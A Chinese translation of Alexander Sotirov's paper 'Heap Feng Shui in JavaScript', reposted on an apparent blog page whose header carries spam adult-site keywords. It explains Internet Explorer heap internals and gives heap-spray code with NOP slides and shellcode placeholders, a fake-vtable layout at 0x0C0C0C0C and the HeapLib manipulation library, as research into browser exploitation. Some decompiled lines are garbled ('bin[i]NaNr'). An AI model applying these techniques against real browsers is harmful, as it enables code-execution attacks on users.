乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      [翻譯]Heap Feng Shui in JavaScript

       霞客書齋 2017-10-10

      Heap Feng Shui in JavaScript

       

      Alexander Sotirov <asotirov@determina.com>

      翻譯自:http://www./research/heap-feng-shui/

       

      引言

      從Windows XP SP2 開(kāi)始,Windows 平臺(tái)上的堆破壞漏洞利用已經(jīng)變得越來(lái)越困難。以Safe unlinking 和堆cookie 為代表的堆保護(hù)特征已經(jīng)成功阻止大部分一般的堆利用技術(shù)。規(guī)避堆保護(hù)的方法也有,但是它們需要在很大程度上對(duì)存在漏洞應(yīng)用程序的分配格式進(jìn)行控制。

      文章通過(guò)使用JavaScript分配的確切序列介紹了一種對(duì)瀏覽器堆分布進(jìn)行精確操縱的新技術(shù)。我們提供了一個(gè)JavaScrip函數(shù)庫(kù)用于在觸發(fā)堆破壞bug之前在一個(gè)控制的狀態(tài)下安裝堆。這使我們能以很大的可靠性和精確性利用非常困難的堆破壞漏洞。

      我們將集中關(guān)注IE的利用,但是這里提供的通用技術(shù)可能適用于其他瀏覽器或腳本環(huán)境。

      以前的工作

          最廣泛使用的瀏覽器堆利用技術(shù)是SkyLined為他的IE IFRAME利用而發(fā)明的堆噴射方法。

      這種技術(shù)使用JavaScript建立了許多個(gè)包含NOP片和shellcode的字符串。JavaScript運(yùn)行時(shí)存儲(chǔ)了在堆新塊中的每個(gè)字符串的數(shù)據(jù)。堆分配通常從地址空間的起始開(kāi)始,往上增加。為字符串分配200M內(nèi)存后,在50M200M之間的任何地址很可能指向NOP 片。用這個(gè)范圍內(nèi)的地址覆寫一個(gè)返回地址或者一個(gè)函數(shù)指針將導(dǎo)致跳向NOP片和shellcode運(yùn)行。

      以下的JavaScript代碼解釋這個(gè)技術(shù):

      var nop = unescape("%u9090%u9090");

       

      // Create a 1MB string of NOP instructions followed by shellcode:

      //

      // malloc header   string length   NOP slide   shellcode   NULL terminator

      // 32 bytes        4 bytes         x bytes     y bytes     2 bytes

       

      while (nop.length <= 0x100000/2) nop += nop;

       

      nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);

       

      var x = new Array();

       

      // Fill 200MB of memory with copies of the NOP slide and shellcode

      for (var i = 0; i < 200; i++) {

          x[i] = nop + shellcode;

      }

       

      這個(gè)技術(shù)的一個(gè)微小變化能夠被用于實(shí)現(xiàn)虛表和對(duì)象指針覆寫。如果一個(gè)對(duì)象指針用于虛函數(shù)調(diào)用,編譯器將產(chǎn)生與下面相似的代碼:

      mov ecx, dword ptr [eax]    ; get the vtable address

      push eax                    ; pass C++ this pointer as the first argument

      call dword ptr [ecx+08h]    ; call the function at offset 0x8 in the vtable

       

      每個(gè)C++對(duì)象的前四個(gè)字節(jié)包含一個(gè)指向虛表的指針。要實(shí)現(xiàn)對(duì)象指針覆寫,我們需要使用一個(gè)指向擁有偽造虛表的偽造對(duì)象的地址,該虛表包含了指向shellcode的指針。在內(nèi)存中安裝這樣的結(jié)構(gòu)并不像看起來(lái)那么困難。第一步是為NOP片使用一個(gè)0xC字節(jié)序列,然后用一個(gè)指向這個(gè)片的地址覆寫對(duì)象指針。偽造對(duì)象開(kāi)頭的虛表指針將是一個(gè)來(lái)自NOP片指向0x0C0C0C0C的雙字。這個(gè)地址的內(nèi)存也包含NOP片的0xC 字節(jié)。偽造的虛表中的虛函數(shù)指針將向后指向 0x0C0C0C0C處的片。調(diào)用對(duì)象的任何虛函數(shù)將導(dǎo)致對(duì)shellcode的調(diào)用。

      間接引用序列如下所示:

      object pointer   ->  fake object   ->  fake vtable   ->     fake virtual function

       

      addr: xxxx       addr: yyyy           addr: 0x0C0C0C0C        addr: 0x0C0C0C0C

      data: yyyy       data: 0x0C0C0C0C    data: +0 0x0C0C0C0C     data: nop slide

                                                 +4 0x0C0C0C0C             shellcode

                                                 +8 0x0C0C0C0C

      SkyLined的技術(shù)的關(guān)鍵是可以從JavaScript代碼中訪問(wèn)系統(tǒng)堆。本文將更深地討論這個(gè)思想,探索用JavaScript代碼完全地控制堆的方法。

      動(dòng)機(jī)

      上面描述的堆噴射技術(shù)驚人的有效,但是單單靠它對(duì)于可靠的堆利用是不夠的。這有兩個(gè)原因。

      在Windows XP SP2和后來(lái)的系統(tǒng)上,通過(guò)覆寫堆上的應(yīng)用數(shù)據(jù)而不用破壞內(nèi)部malloc數(shù)據(jù)結(jié)構(gòu)來(lái)利用堆破壞漏洞是很容易的。這是因?yàn)槎逊峙淦鲗?duì)malloc chunk頭和空閑塊雙向鏈表執(zhí)行附加驗(yàn)證,這使標(biāo)準(zhǔn)的堆利用方法無(wú)效。結(jié)果,許多利用使用堆噴射技術(shù)將地址空間用shellcode填滿,然后盡最大努力去覆寫堆上的對(duì)象和虛表指針。操作系統(tǒng)中的堆保護(hù)沒(méi)有擴(kuò)展到儲(chǔ)存在內(nèi)存中的應(yīng)用數(shù)據(jù)。堆的狀態(tài)很難預(yù)測(cè),然而,不能保證覆寫的內(nèi)存總是保存同樣的數(shù)據(jù)。在這種情況下,利用可能會(huì)失敗。

      這樣的一個(gè)例子是MSF框架中的ie_webview_setslice 利用。它重復(fù)地觸發(fā)一個(gè)堆破壞漏洞,希望破壞足夠的堆來(lái)跳到隨機(jī)的堆內(nèi)存。利用并不總是成功,這也不該是一個(gè)驚喜。

      第二個(gè)問(wèn)題是利用的可靠性與堆噴射所消耗的系統(tǒng)內(nèi)存之間的平衡。如果一個(gè)利用用shellcode填充瀏覽器的整個(gè)地址空間,任何隨機(jī)的跳轉(zhuǎn)都是可利用的。不幸的是,在物理內(nèi)存不足的系統(tǒng)上,堆噴射將會(huì)導(dǎo)致加重使用頁(yè)面文件,降低系統(tǒng)性能。如果用戶在堆噴射完成之前關(guān)閉瀏覽器,利用將會(huì)失敗。

      本文提供了一個(gè)針對(duì)這兩個(gè)問(wèn)題的解決方案,使可靠并精確的利用成為可能。

      IE堆內(nèi)部構(gòu)件

      概述

      在IE中有三個(gè)主要構(gòu)件分配內(nèi)存,這些內(nèi)存通常被瀏覽器堆漏洞破壞。第一個(gè)是MSHTML.DLL庫(kù),負(fù)責(zé)當(dāng)前顯示頁(yè)面上HTML元素的內(nèi)存管理。它負(fù)責(zé)在初始的頁(yè)面提供和后續(xù)的DHTML操作中分配內(nèi)存。內(nèi)存分配從默認(rèn)的進(jìn)程堆開(kāi)始,當(dāng)一個(gè)頁(yè)面關(guān)閉或一個(gè)HTML元素銷毀時(shí)內(nèi)存被釋放掉。

      管理內(nèi)存的第二個(gè)構(gòu)件是JSCRIPT.DLL中的JavaScript引擎。新JavaScript對(duì)象的內(nèi)存是從一個(gè)專用的JavaScript 堆中分配的,字符串作為一個(gè)例外是從默認(rèn)的進(jìn)程堆中分配的。不再引用的對(duì)象是由垃圾收集器銷毀的,當(dāng)整個(gè)內(nèi)存消耗或者對(duì)象數(shù)目超過(guò)一個(gè)確定的閾值時(shí),該垃圾收集器開(kāi)始運(yùn)行。也可以通過(guò)調(diào)用CollectGarbage()函數(shù)來(lái)明確地觸發(fā)垃圾收集器。

      在大部分瀏覽器攻擊利用中最后一個(gè)組件是引起堆破壞的ActiveX控件。一些ActiveX控件使用專用的堆,但是大部分在默認(rèn)進(jìn)程堆上分配和破壞內(nèi)存。

      一個(gè)重要的發(fā)現(xiàn)是IE的所有這三個(gè)組件使用一樣的默認(rèn)進(jìn)程堆。這意味著使用JavaScript分配和釋放內(nèi)存改變了MSHTMLActiveX控件使用的堆布局,一個(gè)ActiveX控件中的堆破壞bug能夠用來(lái)覆寫由其他兩個(gè)瀏覽器組件分配的內(nèi)存。

      JavaScript字符串

      JavaScript引擎用MSVCRT 的malloc() new()函數(shù)通過(guò)使用一個(gè)在CRT初始化過(guò)程中建立的提交堆分配大部分內(nèi)存。一個(gè)重要的例外是JavaScript 字符串?dāng)?shù)據(jù),它們作為BSTR字符串存儲(chǔ),這是一種由COM接口使用的基本字符串類型。它們的內(nèi)存由OLEAUT32.DLL中的SysAllocString函數(shù)家族從默認(rèn)進(jìn)程堆中分配。

      這里是一個(gè)典型的JavaScript字符串分配追蹤:

      ChildEBP RetAddr  Args to Child              

      0013d26c 77124b52 77606034 00002000 00037f48 ntdll!RtlAllocateHeap+0xeac

      0013d280 77124c7f 00002000 00000000 0013d2a8 OLEAUT32!APP_DATA::AllocCachedMem+0x4f

      0013d290 75c61dd0 00000000 00184350 00000000 OLEAUT32!SysAllocStringByteLen+0x2e

      0013d2a8 75caa763 00001ffa 0013d660 00037090 jscript!PvarAllocBstrByteLen+0x2e

      0013d31c 75caa810 00037940 00038178 0013d660 jscript!JsStrSubstrCore+0x17a

      0013d33c 75c6212e 00037940 0013d4a8 0013d660 jscript!JsStrSubstr+0x1b

      0013d374 75c558e1 0013d660 00000002 00038988 jscript!NatFncObj::Call+0x41

      0013d408 75c5586e 00037940 00000000 00000003 jscript!NameTbl::InvokeInternal+0x218

      0013d434 75c62296 00037940 00000000 00000003 jscript!VAR::InvokeByDispID+0xd4

      0013d478 75c556c5 00037940 0013d498 00000003 jscript!VAR::InvokeByName+0x164

      0013d4b8 75c54468 00037940 00000003 0013d660 jscript!VAR::InvokeDispName+0x43

      0013d4dc 75c54d1a 00037940 00000000 00000003 jscript!VAR::InvokeByDispID+0xfb

      0013d6d0 75c544fa 0013da80 00000000 0013d7ec jscript!CScriptRuntime::Run+0x18fb

      要在堆上分配一個(gè)新字符串,我們需要建立一個(gè)新的JavaScript 字符串對(duì)象。我們不能簡(jiǎn)單地逐字地分配字符串給一個(gè)新變量,因?yàn)檫@不會(huì)建立一個(gè)字符串?dāng)?shù)據(jù)副本。相反,我們需要合并兩個(gè)字符串或者使用substr函數(shù)。例如:

      var str1 = "AAAAAAAAAAAAAAAAAAAA";  // doesn't allocate a new string

      var str2 = str1.substr(0, 10);      // allocates a new 10 character string

      var str3 = str1 + str2;             // allocates a new 30 character string

      BSTR字符串在內(nèi)存中作為一個(gè)包含四字節(jié)尺寸域的結(jié)構(gòu)存儲(chǔ),后面緊跟著作為16位寬的字符的字符串?dāng)?shù)據(jù)和一個(gè)16位的null結(jié)束符。上面例子中的str1字符串在內(nèi)存中有如下表示:

      string size | string data                                          | null terminator

      4 bytes     | length / 2 bytes                                     | 2 bytes

                  |                                                           |

      14 00 00 00 | 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 | 00 00

      我們可以使用以下兩個(gè)公式來(lái)計(jì)算為一個(gè)字符串分配多少字節(jié),或者對(duì)于分配一個(gè)確定數(shù)目的字節(jié)一個(gè)字符得多長(zhǎng):

      bytes = len * 2 + 6

      len = (bytes - 6) / 2

       

      字符串存儲(chǔ)的方式允許我們寫一個(gè)函數(shù)通過(guò)分配一個(gè)新字符串來(lái)分配任意尺寸的內(nèi)存塊。代碼使用len=(bytes-6)/2公式計(jì)算所需的字符串長(zhǎng)度,調(diào)用substr分配一個(gè)該長(zhǎng)度的新字符串。字符串包含從填充字符串拷貝的數(shù)據(jù)。如果我們想把指定的數(shù)據(jù)放到新的內(nèi)存塊中,我們只需要事先用它初始化填充字符串。

      // Build a long string with padding data

       

      padding = "AAAA"

       

      while (padding.length < MAX_ALLOCATION_LENGTH)

          padding = padding + padding;

       

      // Allocate a memory block of a specified size in bytes

       

      function alloc(bytes) {

          return padding.substr(0, (bytes-6)/2);

      }

       

      垃圾回收

       

      為了操縱瀏覽器堆布局,能夠分配一個(gè)任意尺寸的內(nèi)存塊是不夠的,我么也需要找到釋放它的辦法。JavaScript運(yùn)行時(shí)使用一個(gè)簡(jiǎn)單的標(biāo)記和清理垃圾回收器,關(guān)于它的最詳細(xì)的描述在Eric Lippert發(fā)布的博客里。

      垃圾回收可以由各種啟發(fā)探索來(lái)觸發(fā),比如最近一次運(yùn)行以來(lái)建立的對(duì)象數(shù)。標(biāo)記和清理算法識(shí)別出JavaScript運(yùn)行時(shí)中所有未引用的對(duì)象,然后銷毀它們。當(dāng)一個(gè)字符串對(duì)象被銷毀時(shí),通過(guò)調(diào)用OLEAUT32.DLL中的SysFreeString函數(shù)釋放這個(gè)對(duì)象的數(shù)據(jù)。這是一個(gè)來(lái)自垃圾回收器的追蹤。

      ChildEBP RetAddr  Args to Child              

      0013d324 774fd004 00150000 00000000 001bae28 ntdll!RtlFreeHeap

      0013d338 77124ac8 77606034 001bae28 00000008 ole32!CRetailMalloc_Free+0x1c

      0013d358 77124885 00000006 00008000 00037f48 OLEAUT32!APP_DATA::FreeCachedMem+0xa0

      0013d36c 77124ae3 02a8004c 00037cc8 00037f48 OLEAUT32!SysFreeString+0x56

      0013d380 75c60f15 00037f48 00037f48 75c61347 OLEAUT32!VariantClear+0xbb

      0013d38c 75c61347 00037cc8 000378a0 00036d40 jscript!VAR::Clear+0x5d

      0013d3b0 75c60eba 000378b0 00000000 000378a0 jscript!GcAlloc::ReclaimGarbage+0x65

      0013d3cc 75c61273 00000002 0013d40c 00037c10 jscript!GcContext::Reclaim+0x98

      0013d3e0 75c99a27 75c6212e 00037940 0013d474 jscript!GcContext::Collect+0xa5

      0013d3e4 75c6212e 00037940 0013d474 0013d40c jscript!JsCollectGarbage+0x10

       

      為了釋放我們已經(jīng)分配的一個(gè)字符串,我們需要?jiǎng)h除所有對(duì)它的引用并運(yùn)行垃圾回收器。幸運(yùn)的是,我們不必等待一個(gè)啟發(fā)探索來(lái)觸發(fā)它,因?yàn)?/span>Internet Explorer中的JavaScript實(shí)現(xiàn)提供了一個(gè)能使垃圾回收器立即運(yùn)行的CollectGarbage() 函數(shù)。該函數(shù)的用法如以下代碼所展示:

      var str;

       

      // We need to do the allocation and free in a function scope, otherwise the

      // garbage collector will not free the string.

       

      function alloc_str(bytes) {

          str = padding.substr(0, (bytes-6)/2);

      }

       

      function free_str() {

          str = null;

          CollectGarbage();

      }

       

      alloc_str(0x10000);     // allocate memory block

      free_str();             // free memory block

       

      上面的代碼分配了64KB的內(nèi)存塊,并釋放了它,演示了我們?cè)谀J(rèn)的進(jìn)程堆上執(zhí)行任意的分配和釋放的能力。我們能釋放那些僅僅由我們分配的塊,但是即使在這個(gè)限制下,我們?nèi)匀豢梢詫?duì)堆分布有高度的控制。

      OLEAUT32內(nèi)存分配器

      很不幸,調(diào)用SysAllocString并不能總是導(dǎo)致從系統(tǒng)堆上分配內(nèi)存已經(jīng)被證明。分配和釋放BSTR字符串的函數(shù)使用了一個(gè)在OLEAUT32中的APP_DATA類中實(shí)現(xiàn)的自定義內(nèi)存分配器。這個(gè)內(nèi)存分配器維持了一個(gè)釋放過(guò)的內(nèi)存塊的高速緩存,在以后的分配中再次使用它們。這有點(diǎn)像系統(tǒng)內(nèi)存分配器維持的快表列表。

      高速緩沖由4個(gè)容器組成,每個(gè)容器保持了6個(gè)確定尺寸范圍的塊。當(dāng)每個(gè)塊使用由APP_DATA::FreeCachedMem() 函數(shù)釋放時(shí),這個(gè)塊存儲(chǔ)在其中一個(gè)容器中。當(dāng)一個(gè)容器充滿了,容器中最小的塊使用HeapFree()函數(shù)釋放掉,并由新的塊代替。大于32767字節(jié)的塊不會(huì)緩存,總是被直接釋放掉。

      當(dāng)調(diào)用APP_DATA::AllocCachedMem()函數(shù)分配內(nèi)存時(shí),它會(huì)在合適尺寸的容器中尋找一個(gè)空閑快。如果一個(gè)足夠大的塊被找到,它會(huì)從高速緩存中移出,返回給調(diào)用者。否則該函數(shù)使用HeapAlloc()分配新的內(nèi)存。

      內(nèi)存分配器的反編譯代碼如下所示:

      // Each entry in the cache has a size and a pointer to the free block

       

      struct CacheEntry

      {

          unsigned int size;

          void* ptr;

      }

       

      // The cache consists of 4 bins, each holding 6 blocks of a certain size range

       

      class APP_DATA

      {

          CacheEntry bin_1_32     [6];    // blocks from 1 to 32 bytes

          CacheEntry bin_33_64    [6];    // blocks from 33 to 64 bytes

          CacheEntry bin_65_256   [6];    // blocks from 65 to 265 bytes

          CacheEntry bin_257_32768[6];    // blocks from 257 to 32768 bytes

       

          void* AllocCachedMem(unsigned long size);   // alloc function

          void FreeCachedMem(void* ptr);              // free function

      };

       

       

      //

      // Allocate memory, reusing the blocks from the cache

      //

       

      void* APP_DATA::AllocCachedMem(unsigned long size)

      {

          CacheEntry* bin;

          int i;

       

          if (g_fDebNoCache == TRUE)

              goto system_alloc;          // Use HeapAlloc if caching is disabled

       

          // Find the right cache bin for the block size

       

          if (size > 256)

              bin = &this->bin_257_32768;

          else if (size > 64)

              bin = &this->bin_65_256;

          else if (size > 32)

              bin = &this->bin_33_64;

          else

              bin = &this->bin_1_32;

       

          // Iterate through all entries in the bin

       

          for (i = 0; i < 6; i++) {

       

              // If the cached block is big enough, use it for this allocation

       

              if (bin[i].size >= size) {

                  bin[i].size = 0;        // Size 0 means the cache entry is unused

                  return bin[i]NaNr;

              }

          }

       

      system_alloc:

       

          // Allocate memory using the system memory allocator

          return HeapAlloc(GetProcessHeap(), 0, size);

      }

       

       

      //

      // Free memory and keep freed blocks in the cache

      //

       

      void APP_DATA::FreeCachedMem(void* ptr)

      {

          CacheEntry* bin;

          CacheEntry* entry;

          unsigned int min_size;

          int i;

       

          if (g_fDebNoCache == TRUE)

              goto system_free;           // Use HeapFree if caching is disabled

       

          // Get the size of the block we're freeing

          size = HeapSize(GetProcessHeap(), 0, ptr);

       

          // Find the right cache bin for the size

       

          if (size > 32768)

              goto system_free;           // Use HeapFree for large blocks

          else if (size > 256)

              bin = &this->bin_257_32768;

          else if (size > 64)

              bin = &this->bin_65_256;

          else if (size > 32)

              bin = &this->bin_33_64;

          else

              bin = &this->bin_1_32;

       

          // Iterate through all entries in the bin and find the smallest one

       

          min_size = size;

          entry = NULL;

       

          for (i = 0; i < 6; i++) {

       

              // If we find an unused cache entry, put the block there and return

       

              if (bin[i].size == 0) {

                  bin[i].size = size;

                  bin[i]NaNr = ptr;       // The free block is now in the cache

                  return;

              }

       

              // If the block we're freeing is already in the cache, abort

       

              if (bin[i]NaNr == ptr)

                  return;

       

              // Find the smallest cache entry

       

              if (bin[i].size < min_size) {

                  min_size = bin[i].size;

                  entry = &bin[i];

              }

      }

       

       // If the smallest cache entry is smaller than our block, free the cached

          // block with HeapFree and replace it with the new block

       

          if (min_size < size) {

              HeapFree(GetProcessHeap(), 0, entry->ptr);

              entry->size = size;

              entry->ptr = ptr;

              return;

          }

       

      system_free:

       

          // Free the block using the system memory allocator

          return HeapFree(GetProcessHeap(), 0, ptr);

      }

       

      APP_DATA內(nèi)存分配器使用的緩存算法介紹了一個(gè)問(wèn)題,因?yàn)橹挥形覀兎峙浜歪尫挪僮鞯囊徊糠謺?huì)調(diào)用系統(tǒng)分配器。

      活塞技術(shù)

      為了保證每個(gè)字符串分配都來(lái)自系統(tǒng)堆,對(duì)于每個(gè)容器我們需要分配6個(gè)最大尺寸的塊。因?yàn)榫彺嬖诿總€(gè)容器中只保存6個(gè)塊,這會(huì)確保所有的緩存容器都是空的。下一個(gè)字符串分配保證能夠調(diào)用HeapAlloc()。

      如果我們釋放剛剛分配的字符串,它將會(huì)進(jìn)入其中一個(gè)緩存容器。我們可以通過(guò)釋放在前面步驟中分配的6個(gè)最大尺寸的塊,把它刷出緩存。FreeCachedMem()函數(shù)將會(huì)把所有較小的塊清出緩存,我們的字符串將會(huì)使用HeapFree()釋放掉。在這個(gè)點(diǎn),緩存會(huì)充滿,我們需要通過(guò)為每個(gè)容器分配6個(gè)最大尺寸的塊再次使它清空。

      實(shí)際上,我們使用6個(gè)塊作為活塞把所有的小塊清出緩存,然后再次通過(guò)分配6個(gè)塊把活塞拉出。

      下面的代碼展示了活塞技術(shù)的一種實(shí)現(xiàn)。

      plunger = new Array();

       

      // This function flushes out all blocks in the cache and leaves it empty

       

      function flushCache() {

       

          // Free all blocks in the plunger array to push all smaller blocks out

       

          plunger = null;

          CollectGarbage();

       

          // Allocate 6 maximum size blocks from each bin and leave the cache empty

       

          plunger = new Array();

       

          for (i = 0; i < 6; i++) {

              plunger.push(alloc(32));

              plunger.push(alloc(64));

              plunger.push(alloc(256));

              plunger.push(alloc(32768));

          }

      }

       

      flushCache();           // Flush the cache before doing any allocations

       

      alloc_str(0x200);       // Allocate the string

       

      free_str();             // Free the string and flush the cache

      flushCache();

      為了把一個(gè)塊清除出緩存并使用HeapFree()釋放掉該塊,它必須比它所在容器的最大尺寸要小。否則,FreeCachedMem函數(shù)中的條件min_size < size不會(huì)滿足,相反活塞塊會(huì)被釋放。這意味著我們不能釋放掉 32, 64, 256  32768字節(jié)尺寸的塊,但是這不是一個(gè)嚴(yán)格的限制。

       

      HeapLib - JavaScript 堆操作庫(kù)

      我們?cè)谝粋€(gè)叫做HeapLi JavaScript 庫(kù)中實(shí)現(xiàn)了前面部分描述的概念。它提供了alloc() free()函數(shù),該函數(shù)除了許多高度的堆操作例程外,還直接映射到系統(tǒng)分配器的調(diào)用。

       

      HeapLib庫(kù)的Hello World

       

      使用HeapLib庫(kù)的最基本的程序如下所示:

      <script type="text/javascript" src="heapLib.js"></script>

       

      <script type="text/javascript">

       

          // Create a heapLib object for Internet Explorer

          var heap = new heapLib.ie();

       

          heap.gc();      // Run the garbage collector before doing any allocations

       

          // Allocate 512 bytes of memory and fill it with padding

          heap.alloc(512);

       

          // Allocate a new block of memory for the string "AAAAA" and tag the block with "foo"

          heap.alloc("AAAAA", "foo");

       

          // Free all blocks tagged with "foo"

          heap.free("foo");

      </script>

      這個(gè)程序分配了16個(gè)字節(jié)的內(nèi)存塊,并把字符串"AAAAA" 拷進(jìn)去。這個(gè)塊使用標(biāo)志"foo"標(biāo)記,這個(gè)標(biāo)志后來(lái)用作free()的一個(gè)參數(shù)。free()函數(shù)釋放掉所有使用這個(gè)標(biāo)志標(biāo)記過(guò)的內(nèi)存塊。

      在堆上的效果方面, Hello World程序等同于以下C代碼:

      block1 = HeapAlloc(GetProcessHeap(), 0, 512);

          block2 = HeapAlloc(GetProcessHeap(), 0, 16);

      HeapFree(GetProcessHeap(), 0, block2);

      調(diào)試

      HeapLib 提供了大量函數(shù)用于調(diào)試庫(kù)、檢驗(yàn)堆上的效果。這是闡述調(diào)試功能小例子:

      heap.debug("Hello!");   // output a debugging message

      heap.debugHeap(true);   // enable tracing of heap allocations

      heap.alloc(128, "foo");

      heap.debugBreak();      // break in WinDbg

      heap.free("foo");

      heap.debugHeap(false);  // disable tracing of heap allocations

      為了看到調(diào)試輸出,用WinDbg 附加到IEXPLORE.EXE進(jìn)程,設(shè)置以下斷點(diǎn):

      bc *

       

      bu 7c9106eb "j (poi(esp+4)==0x150000)

       '.printf \"alloc(0x%x) = 0x%x\", poi(esp+c), eax; .echo; g'; 'g';"

      bu ntdll!RtlFreeHeap "j ((poi(esp+4)==0x150000) & (poi(esp+c)!=0))

          '.printf \"free(0x%x), size=0x%x\", poi(esp+c), wo(poi(esp+c)-8)*8-8; .echo; g'; 'g';"

      bu jscript!JsAtan2 "j (poi(poi(esp+14)+18) == babe)

          '.printf \"DEBUG: %mu\", poi(poi(poi(esp+14)+8)+8); .echo; g';"

      bu jscript!JsAtan "j (poi(poi(esp+14)+8) == babe)

          '.echo DEBUG: Enabling heap breakpoints; be 0 1; g';"

      bu jscript!JsAsin "j (poi(poi(esp+14)+8) == babe)

          '.echo DEBUG: Disabling heap breakpoints; bd 0 1; g';"

      bu jscript!JsAcos "j (poi(poi(esp+14)+8) == babe)

          '.echo DEBUG: heapLib breakpoint'"

      bd 0 1  

      g

      第一個(gè)斷點(diǎn)位于ntdll!RtlAllocateHeapRET指令。上面地址對(duì)于Windows XP SP2有效,但是對(duì)于其他系統(tǒng)可能需要調(diào)整。斷點(diǎn)也假定默認(rèn)的進(jìn)程堆位于0x150000。WinDbguf!peb命令提供了這些地址。

      0:012> uf ntdll!RtlAllocateHeap

      ...

      ntdll!RtlAllocateHeap+0xea7:

      7c9106e6 e817e7ffff      call    ntdll!_SEH_epilog (7c90ee02)7c9106eb c20c00          ret     0Ch

       

      0:012> !peb

      PEB at 7ffdf000

          ...

          ProcessHeap:       00150000

      設(shè)置這些斷點(diǎn)后,運(yùn)行上面的樣本代碼將會(huì)在WinDbg中顯示如下調(diào)試輸出:

      DEBUG: Hello!

      DEBUG: Enabling heap breakpoints

      alloc(0x80) = 0x1e0b48

      DEBUG: heapLib breakpoint

      eax=00000001 ebx=0003e660 ecx=0003e67c edx=00038620 esi=0003e660 edi=0013dc90

      eip=75ca315f esp=0013dc6c ebp=0013dca0 iopl=0         nv up ei ng nz ac pe nc

      cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296

      jscript!JsAcos:

      75ca315f 8bff            mov     edi,edi

      0:000> g

      DEBUG: Flushing the OLEAUT32 cache

                                free(0x1e0b48), size=0x80

      DEBUG: Disabling heap breakpoints

      我們可以看到alloc()函數(shù)在地址0x1e0b48處分配了 0x80字節(jié)的內(nèi)存,該內(nèi)存后來(lái)被free()釋放掉。示例程序通過(guò)調(diào)用HeapLib中的debugBreak()函數(shù)在WinDbg中也觸發(fā)了斷點(diǎn)。函數(shù)作為使用一個(gè)特殊參數(shù)對(duì)JavaScript acos()進(jìn)行調(diào)用來(lái)實(shí)現(xiàn),這會(huì)觸發(fā)jscript!JsAcos上的WinDbg斷點(diǎn)。這使我們有機(jī)會(huì)在繼續(xù)JavaScript執(zhí)行前觀察堆的狀態(tài)。

      功能函數(shù)

      該庫(kù)也提供函數(shù)來(lái)操作在攻擊利用中使用的數(shù)據(jù)。這里是一個(gè)使用addr()padding()函數(shù)準(zhǔn)備一個(gè)偽造虛表塊的例子。

      var vtable = "";

      for (var i = 0; i < 100; i++) {

          // Add 100 copies of the address 0x0C0C0C0C to the vtable

          vtable = vtable + heap.addr(0x0C0C0C0C);

      }

       

      // Pad the vtable with "A" characters to make the block size exactly 1008 bytes

      vtable = vtable + heap.padding((1008 - (vtable.length*2+6))/2);

      要了解得更詳細(xì),看下一部分的函數(shù)描述。

       

      HeapLib引用

       

      面向?qū)ο蠼涌?/span>

       

      HeapLib API作為面向?qū)ο蠼涌趯?shí)現(xiàn)。要在IE中使用API,創(chuàng)建一個(gè)heapLib.ie類實(shí)例。

      Constructor

      Description

      heapLib.ie(maxAlloc, heapBase)

      Creates a new heapLib API object for Internet Explorer. The maxAllocargument sets the maximum block size that can be allocated using the alloc() function.

      Arguments:

      · maxAlloc - maximum allocation size in bytes (defaults to 65535)

      · heapBase - base of the default process heap (defaults to 0x150000)

       

      下面描述的所有函數(shù)是heapLib.ie類的實(shí)例方法。

      調(diào)試

      要看調(diào)試輸出,附件WinDbg IEXPLORE.EXE進(jìn)程,設(shè)置上面描述的斷點(diǎn)。如果調(diào)試器不存在,下面的函數(shù)無(wú)效。

      Function

      Description

      debug(msg)

      Outputs a debugging message in WinDbg. The msg argument must be a string literal. Using string concatenation to build the message will result in heap allocations.

      Arguments:

      · msg - string to output

      debugHeap(enable)

      Enables or disables logging of heap operations in WinDbg.

      Arguments:

      · enable - a boolean value, set to true to enable heap logging

      debugBreak()

      Triggers a breakpoint in the debugger.

       

      功能函數(shù)

       

      Function

      Description

      padding(len)

      Returns a string of a specified length, up to the maximum allocation size set in the heapLib.ie constructor. The string contains "A" characters.

      Arguments:

      · len - length in characters

      Example:

      heap.padding(5)            // returns "AAAAA"

      round(num, round)

      Returns an integer rounded up to a specified value.

      Arguments:

      · num - integer to round

      · round - value to round to

      Example:

      heap.round(210, 16)        // returns 224

      hex(num, width)

      Converts an integer to a hex string. This function uses the heap.

      Arguments:

      · num - integer to convert

      · width - pad the output with zeroes to a specified width (optional)

      Example:

      heap.hex(210, 8)           // returns "000000D2"

      addr(addr)

      Converts a 32-bit address to a 4-byte string with the same representation in memory. This function uses the heap.

      Arguments:

      · addr - integer representation of the address

      Example:

      heap.addr(0x1523D200)      // returns the equivalent of

                                 // unescape("%uD200%u1523")

       

       

       

       

      內(nèi)存分配

      Function

      Description

      alloc(arg, tag)

      Allocates a block of a specified size with the system memory allocator. A call to this function is equivalent to a call to HeapAlloc(). If the first argument is a number, it specifies the size of the new block, which is filled with "A" characters. If the argument is a string, its data is copied into a new block of size arg.length*2+6. In both cases the size of the new block must be a multiple of 16 and not equal to 32, 64, 256 or 32768.

      Arguments:

      · arg - size of the memory block in bytes, or a string to strdup

      · tag - a tag identifying the memory block (optional)

      Example:

      heap.alloc(512, "foo") // allocates a 512 byte block tagged with

                             // "foo" and fills it with "A" characters

       

      heap.alloc("BBBBB")    // allocates a 16 byte block with no tag

                             // and copies the string "BBBBB" into it

      free(tag)

      Frees all memory blocks marked with a specific tag with the system memory allocator. A call to this function is equivalent to a call to HeapFree().

      Arguments:

      · tag - a tag identifying the group of blocks to be freed

      Example:

      heap.free("foo")     // free all memory blocks tagged with "foo"

      gc()

      Runs the garbage collector and flushes the OLEAUT32 cache. Call this function before before using alloc() and free().

       

      堆操作

      下列函數(shù)用于操作windows 2000,xp ,2003中內(nèi)存分配器的數(shù)據(jù)結(jié)構(gòu)。因?yàn)?span style="font-family:none;">vista的重要不同,Windows vista中的堆分配器不支持。

      Function

      Description

      freeList(arg, count)

      Adds blocks of the specified size to the free list and makes sure they are not coalesced. The heap must be defragmented before calling this function. If the size of the memory blocks is less than 1024, you have to make sure that the lookaside is full.

      Arguments:

      · arg - size of the new block in bytes, or a string to strdup

      · count - how many free blocks to add to the list (defaults to 1)

      Example:

      heap.freeList("BBBBB", 5) // adds 5 blocks containing the

                                // string "BBBBB" to the free list

      lookaside()

      Adds blocks of the specified size to the lookaside. The lookaside must be empty before calling this function.

      Arguments:

      · arg - size of the new block in bytes, or a string to strdup

